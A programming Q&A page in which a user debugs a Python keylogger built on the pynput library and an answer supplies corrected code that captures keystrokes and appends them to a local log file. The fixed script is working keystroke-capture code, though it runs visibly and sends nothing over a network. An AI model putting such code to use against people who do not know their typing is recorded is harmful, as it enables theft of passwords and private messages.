This is my main program, and I have used pynput library to make this program:
JavaScript
x
38
38
1
import pynput
2
3
from pynput.keyboard import Key, Listener
4
5
count = 0
6
keys = []
7
8
def on_press(key):
9
global keys, count
10
keys.append(key)
11
count += 1
12
print("{0} pressed".format(key))
13
14
if count >= 10:
15
count = 0
16
write_file(key)
17
keys = []
18
19
def write_file():
20
with open("log.txt", "a") as f:
21
for key in keys:
22
k = str(key).replace("'","")
23
if k.find("space") > 0:
24
f.write("n")
25
elif k.find("Key") == -1:
26
f.write(k)
27
f.write(str(key))
28
29
def on_release(key):
30
if key == Key.esc:
31
return False
32
33
34
35
36
with Listener(on_press=on_press, on_release=on_release) as listener:
37
listener.join()
38
On console, the program keeps track of all the keys being pressed but when the count reaches it’s limit, instead of storing the data in “log.txt” it displays:
JavaScript
1
38
38
1
Key.shift pressed
2
'H' pressed
3
'e' pressed
4
'l' pressed
5
'l' pressed
6
'o' pressed
7
Key.space pressed
8
'w' pressed
9
'o' pressed
10
Unhandled exception in listener callback
11
Traceback (most recent call last):
12
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynput_util__init__.py", line 211, in inner
13
return f(self, *args, **kwargs)
14
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynputkeyboard_win32.py", line 280, in _process
15
self.on_press(key)
16
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynput_util__init__.py", line 127, in inner
17
if f(*args) is False:
18
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
19
write_file(key)
20
TypeError: write_file() takes 0 positional arguments but 1 was given
21
Traceback (most recent call last):
22
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 37, in <module>
23
listener.join()
24
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynput_util__init__.py", line 259, in join
25
six.reraise(exc_type, exc_value, exc_traceback)
26
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagessix.py", line 702, in reraise
27
raise value.with_traceback(tb)
28
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynput_util__init__.py", line 211, in inner
29
return f(self, *args, **kwargs)
30
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynputkeyboard_win32.py", line 280, in _process
31
self.on_press(key)
32
File "C:UsersInnnovaPycharmProjectsKeyloggervenvlibsite-packagespynput_util__init__.py", line 127, in inner
33
if f(*args) is False:
34
File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
35
write_file(key)
36
TypeError: write_file() takes 0 positional arguments but 1 was given
37
'r' pressed
38
As you can see, I was trying to write “Hello World” but as soon as I reach the word R in “Hello World” the program throws the TypeError on me
Advertisement
Answer
Remove one write-command from write_file()
to avoid duplicate output to the logfile. I have modified the code slightly, see inline comments.
JavaScript
1
36
36
1
import pynput
2
3
from pynput.keyboard import Key, Listener
4
5
count = 0
6
keys = []
7
8
def on_press(key):
9
global keys, count
10
keys.append(key)
11
count += 1
12
print("{0} pressed".format(key))
13
14
if count >= 10:
15
count = 0
16
write_file(keys)
17
keys = []
18
19
def write_file(keys):
20
with open("pynput-log.txt", "a") as f:
21
for key in keys:
22
k = str(key).replace("'","")
23
if k.find("space") > 0:
24
f.write("n")
25
elif k.find("Key") == -1:
26
f.write(k)
27
#f.write(str(key)) this caused duplicate output
28
29
def on_release(key):
30
if key == Key.esc:
31
write_file(keys) # write remaining data
32
return False
33
34
with Listener(on_press=on_press, on_release=on_release) as listener:
35
listener.join()
36